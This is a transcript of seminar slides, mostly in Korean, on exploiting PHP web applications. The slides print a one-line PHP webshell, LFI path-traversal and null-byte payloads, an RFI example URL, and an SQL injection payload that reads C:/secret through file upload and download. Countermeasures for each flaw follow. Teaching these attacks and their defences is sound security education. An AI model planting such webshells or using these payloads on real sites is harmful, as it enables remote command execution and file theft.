web vulnerability seminar4

Post on 23-Jun-2015

471 Views

Category:

Technology

8 Downloads

Preview:

Click to see full reader

DESCRIPTION

그냥 클릭

TRANSCRIPT

Web vulnerability seminar

Let’s exploit

Contents

$ PHP + Source code auditing$ DB + SQLi$ XSS & CSRF$ Something Else$ Finish..?

Something else contents

$ Fiddler – Web Proxy Tool$ Webshell$ LFI/RFI$ File up/download (with SQL i)

Proxy Tool

Proxy Tool lists

$ Paros$ Burpsuite$ Fiddler…

Request 창

Response 창

Request/Response Trap

Packet Capture

패킷생성

작성

Webshell?

Webshell!

Webshell

$ php,jsp,asp 등 언어마다 다름$ 하지만 원리는 비슷함

내용 !

system($_GET[cmd]);

php..

<textarea name="CONTENT" style="width:100%; height:80%">

<?echo system($_GET[cmd]);

?></textarea>

웹쉘 실행

이제부터 이걸 쓸 겁니다 .

Homepage

과거회상

???.php

결과

경로 ?

$ include( 경로 )

경로 관련 문자열 : ., /

경로 ?

$ p = zizihacker== ../FI/zizihacker==../../etc/FI/zizihacker…

C:\secret 파일을 읽으세요

LFI

$ ../../../../../../../secret

$ secret.php

if(isset($_GET[p])){

$path = $_GET[p].".php";

include($path);echo "<br><br>";

}

With NULL.

$ ../../../../../../../secret%00

$ secret

if(isset($_GET[p])){

$path = $_GET[p].".php";

include($path);echo "<br><br>";

}

%00.php

RFI

$ 경로에 원격도 먹히지 않을까 ?

$ 그렇다면 내 서버의 파일을 실행 시키거나 올릴 수 있지 않을까 ?

RFI

RFI

$ 자신이 만든 php 를 올려봅시다

$ http://192.168.32.75/RFI.php?p=

왜 ?

File upload

$ 파일 업로드> 글쓰기 및 파일 업로드 요청> FTP 에 저장 혹은 DB 와 연동

File upload

2 가지 취약점이 존재 .

$ 파일이름을 그대로 씀$ SQL injection 취약점이 존재

웹쉘을 올려봅시다 .

경로를 어떻게 알아야 하나요 ?

힌트 : ………………………………..

서버설정도 덮어 쓸 수 있음 .

$ .htaccess$ php.ini$ httpd.conf...

htaccess

디렉토리 별로 설정을 변경 할 수 있음

magic_quote_gpcengineLFI RFI 관련기타 여러가지

과거회상

SQl injection

$ ‘1,’wer’,’2’),(‘2

+ 센스 ?

C:\secret 파일을 읽어봅시다 .

SQL

$ INSERT INTO a,b,c values(‘',0x433a2f736563726574,1234)#’,path,ip);

file Download

$ SQL 인젝션을 통해 db 에 값을 넣고$ file download 기능을 통해 받는다 .

대처방안 LFI

$ 경로 관련 문자열 필터링> 일반적인 파일 이름엔 / 가 들어가지 않음 !

$ 페이지를 db 에 따로 저장> 관리가 귀찮음 ..

$ NULL 문자 방지를 위해 magic_quote on> magic_quote_gpc 를 켜면 %00=> \0

대처방안 RFI

$ 기본옵션에서 막혀 있음 ..> allow_url_fopen = off> allow_url_include = off

$ 만약 써야 한다면 신뢰할 수 있는 url 이외엔 drop

대처방안 File upload

$ FTP 를 사용할 시 anon 계정의 w 권한 금지> 계정 사용 자체를 막는 것도 좋은 방법

$ db 와 연동 시 sql 취약점을 잘 판단할 것 .> magic_quote_gpc 만 켜도 해결되긴 함 ..

$ 파일이름을 랜덤하게 지정할 것 .> 경로 또한 마찬가지

추가 . File download

$ 요청과 권한을 확인 할 것> 비 로그인 및 불충분한 권한인지 확인

$ db 에서 가져온 값을 그대로 신용하지 말고 체크할 것

$ download 받을 시 인자 값에서 injection이 발생 할 수도 있음 !

top related